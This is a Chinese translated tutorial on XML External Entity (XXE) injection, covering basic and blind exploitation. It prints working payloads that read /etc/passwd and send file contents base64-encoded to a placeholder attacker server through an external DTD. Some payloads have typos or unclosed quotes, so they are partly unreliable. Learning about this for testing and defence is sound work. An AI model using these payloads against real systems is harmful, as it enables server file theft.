zoukankan      html  css  js  c++  java
  • 【技巧总结】理解XXE从基础到盲打

    原文:http://agrawalsmart7.com/2018/11/10/Understanding-XXE-from-Basic-to-Blind.html

    这篇文章中将讨论以下问题。

    XXE是什么?
    
    如何确认XXE?
    
    如何利用基本XXE?
    
    如何盲打XXE?
    
    以及盲打XXE有效载荷的备选方案。
    

    首先要了解一些基本的关键词。

    实体:实体引用充当缩写或可以在外部位置找到的数据。语法:&test;

    最常见的实体是:

    内部实体:如果实体在DTD内声明,则称为内部实体。

    语法:<!ENTITY entity_name "entity_value">

    外部实体:如果实体在DTD之外声明,则称为外部实体。由“系统”标识。

    语法:<!ENTITY entity_name SYSTEM "entity_value">

    参数实体:参数实体的目的是能够创建替换文本的可重用部分。(如果不理解,以后会更清楚。)

    语法:<!ENTITY % entity "another entity (Internal or External)">

    XXE是什么?

    XXE是XML External Entity的简称,在错误配置XML解析器解析内部实体时出现的漏洞。XXE有两种类型:

    • 1、基础
    • 2、盲打

    基础一:

    有一个URL参数解析了XML数据,如:http://myapp.com/somefile.php?xml=

    当向这个URL提供XML数据时,并且该数据打印回用户的浏览器,就可以尝试基础的XXE。确认漏洞的存在可以利用以下的方法:

    Payload 1:

    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY test SYSTEM 'http://yourserverip/'>]>
    <root>&test;</root>
    

    现在来理解原理。

    1、首先声明XML语法,定义DOCTYPE后再定义XML主体的内容。

    2、在DOCTYPE(即root)之后定义根元素,接下来定义实体,该实体包含SYSTEM属性,表明该实体是外部的。

    3、定义服务器的ip,因为要让目标服务器向攻击者的服务器发送请求。

    当Payload被XML解析,存在漏洞的XML解析方式会解析实体&test,然后实体中对应的是攻击者的服务器IP,所以将通过向攻击者服务器IP请求的方式处理外部实体。

    所以如果攻击者的服务器在网络日志文件中有一个新的连接,那么就可以确认找到了XXE漏洞。

    利用漏洞:

    读取Web服务器的本地文件,可以使用以下有效载荷来完成。

    <?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

    XML解析器将像上面一样处理这个Payload,但现在不会向攻击者的服务器发送请求,而是使用文件协议在本地请求/etc/passwd文件,检索出文件内容并显示出来。 因此攻击者可以读取这台WEB服务器的本地文件。

    如果XML数据没有显示内容该怎么办?(Blind XXE Case)

    仍然可以通过使用上面的第一个Payload来确认漏洞的存在。但是不能看到Web服务器本地文件的文件内容。这仍然是一个安全问题,但严重性有点低。而且这被称为 Blind XXE 或Out-of-band XXE。

    这意味着攻击者必须使用Bild Paylod,将WEB服务器的本地文件内容发送到攻击者的服务器。

    Payload 2:

    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY % test SYSTEM 'http://yourserver/xml.dtd'> %test; %exe]>
    <root>&entity;</root>
    

    xml.dtd 内容:

    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTIY % exe "<!ENTITY entity SYSTEM 'http://yourserver/%file;'>">
    

    理解上述代码:

    以上代码使用的是外部DTD文件,即%test。因此xml解析器将解析这个实体并向攻击者的WEB服务器发出请求获取DTD文件的内容。而那个DTD文件中攻击者定义了一些要处理的实体。

    %exe;将生成另一个实体,即实体&entiry。并且该实体将使用文件内容向攻击者的服务器发出请求。 具体的文件内容是在实体%file中的php://filter/convert.base64-encode/resource=/etc/passwd获取的;

    当xml解析器解析实体%file时,该实体将grep受攻击的服务器本地文件的文件内容。使用php filter进行编码。

    可以看一个视频了解攻击者是如何操作的。

    http://agrawalsmart7.com//bandicam 2018-11-04 23-35-26-024.mp4
    

    有人可能会产生这样的问题:为什么要从攻击者的服务器调用DTD?为什么不直接利用Payload?

    Payload 3:

    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY % filecontents SYSTEM 'file:///etc/passwd>
    <!ENTITY test SYSTEM 'http://yourserver/%filecontents;'>]>
    <root>&test;</root>
    

    答案是因为根据XML_DOC,参数实体不能在DTD子集内调用,但是可以在外部子集中调用(Payload 2中的利用形式)。 这种形式使用后将提示禁止的错误。

    这就是为什么不能在Payload之上运行的原因。

    试试另一个有效载荷:

    Payload 4:

    <?xml version="1.0"?>
    <!DOCTYPE root [
    <!ENTITY filecontents SYSTEM 'file:///etc/passwd>
    <!ENTITY test SYSTEM 'http://yourserver/&filecontents;'>]>
    <root>&test;</root>
    

    以上这个Payload就没有任何问题,因为实体被作为字符串解析。实体应该在根标记中,如果不是就会被作为一个字符串解析。

  • 相关阅读:
    织梦开发——相关阅读likeart应用
    织梦标签教程
    织梦专题调用代码
    HIT 2543 Stone IV
    POJ 3680 Intervals
    HIT 2739 The Chinese Postman Problem
    POJ 1273 Drainage Ditches
    POJ 2455 Secret Milking Machine
    SPOJ 371 Boxes
    HIT 2715 Matrix3
  • 原文地址:https://www.cnblogs.com/17bdw/p/10098181.html
Copyright © 2011-2022 走看看